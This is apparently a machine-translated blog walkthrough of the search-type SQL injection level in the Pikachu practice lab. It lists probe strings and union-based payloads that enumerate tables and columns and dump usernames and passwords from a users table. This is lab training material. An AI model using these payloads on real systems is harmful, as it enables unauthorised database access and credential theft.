当前位置:网站首页>Pikachu shooting range SQL injection search injection clearance steps
Pikachu shooting range SQL injection search injection clearance steps
2022-07-23 07:04:00 【Chang Jiazhuang】
Pikachu shooting range -SQL Inject - Search injection clearance steps
First of all, understand MySQL Database fuzzy search statement ,like ‘ often %’、like ‘% often ’、like ‘% often %’ These are , I won't go into detail here
Determine the injection point
I don't know how to write code. You can try the following statements
This is about the search injection statement I use :
v%’ and -1=-1 – bbq
Search type injection statements found on the Internet :
‘and 1=1 and ‘%’=’
%’ and 1=1–’
%’ and 1=1 and ‘%’=’
An error is reported when the single quotation mark is closed , This probably means %xx%、xx% Well 
Go directly to the process diagram , Can't see clearly, click the picture to zoom in :
Determine how many fields there are
It's closed 4 individual , Move the picture up :
Show obvious dislocation

Querying the current database
version() Check the database version ,database() View the current database
v%' union select version(),database(),33 -- bbq

Query all tables in the database
If there are many tables, the page display is incomplete , have access to LIMIT Page by page , You can also use group_concat() The splicing function wraps the displayed field names for display
v%' union select table_name,22,33 from information_schema.tables where table_schema=database() -- bbq

Query the column names in the specified table
The next step to query the table name is , The query field is the column name
v%' union select column_name,22,33 from information_schema.columns where table_schema='pikachu' and table_name='users' -- bbq

Query data
After the above steps , Already know the database name 、 Table name 、 Field name , Then we can query the data we need
v%' union select username,password,33 from users -- bbq

边栏推荐
- 事件抽取文献整理(2019)
- BGP Confederacy experiment
- 《STL容器篇》-Vector模拟实现
- 100 lines of code thoroughly analyze RPC principle
- Opencv one dimensional frequency domain filter
- 如何优雅的统计代码耗时?(荣耀典藏版)
- I used fluent deskstop to build a Mars xlog log parsing tool
- CV目标检测模型小抄(1)
- Test how to use Fiddler to connect the mobile packet capturing app
- IO flow principle and flow classification
猜你喜欢

In the name of "upgrade", talk about the core technology of cloud native data warehouse analyticdb

How to calculate the time-consuming code gracefully? (glory Collection Edition)

Real time face detection using mediapipe and opencv

100 行代码透彻解析 RPC 原理

电商项目如何解决线上优惠券超发(排错+解决方案)(荣耀典藏)

1. Summary of strengthening learning foundation

【MATLAB项目实战】基于SPI指数的某地区地区干旱时空特征分析

Understand JS prototype and prototype chain in one article

OpenCV-一维频域滤波器

GB28181流媒体服务LiveGBS使用和二次开发中常见问题总结
随机推荐
电磁场与电磁波实验四 熟悉CST Studio软件在电磁领域的应用
OpenCV-一维频域滤波器
【Matlab项目实战】Sine Sweep(正弦扫频信号)
2021-03-01
Chapter VIII using time series data
第一章 回归,分类 & 聚类
In the name of "upgrade", talk about the core technology of cloud native data warehouse analyticdb
ABAP ALV步骤
The latest available QR code generation API
Data warehouse: Exploration and practice of integrating flow and batch
Realize the national standard gb28181 streaming media service solution
电商项目如何解决线上优惠券超发(排错+解决方案)(荣耀典藏)
How about opening an account of Huatai Securities ETF fund? Is it safe
Mktdt03 of Shanghai stock exchange quotation document analysis
PHP 防止或检测页面被刷新 post重复提交问题
Jupyternotebook runs to the specified line
锅炉汽包温度控制系统设计(过程控制课程设计matlab/simulink)
Codeforces Round #800 (Div. 2) C(前缀和+贪心) D(树DFS+贪心) lca+字典树复习
BGP Confederacy experiment
mysql之外键操作_级联操作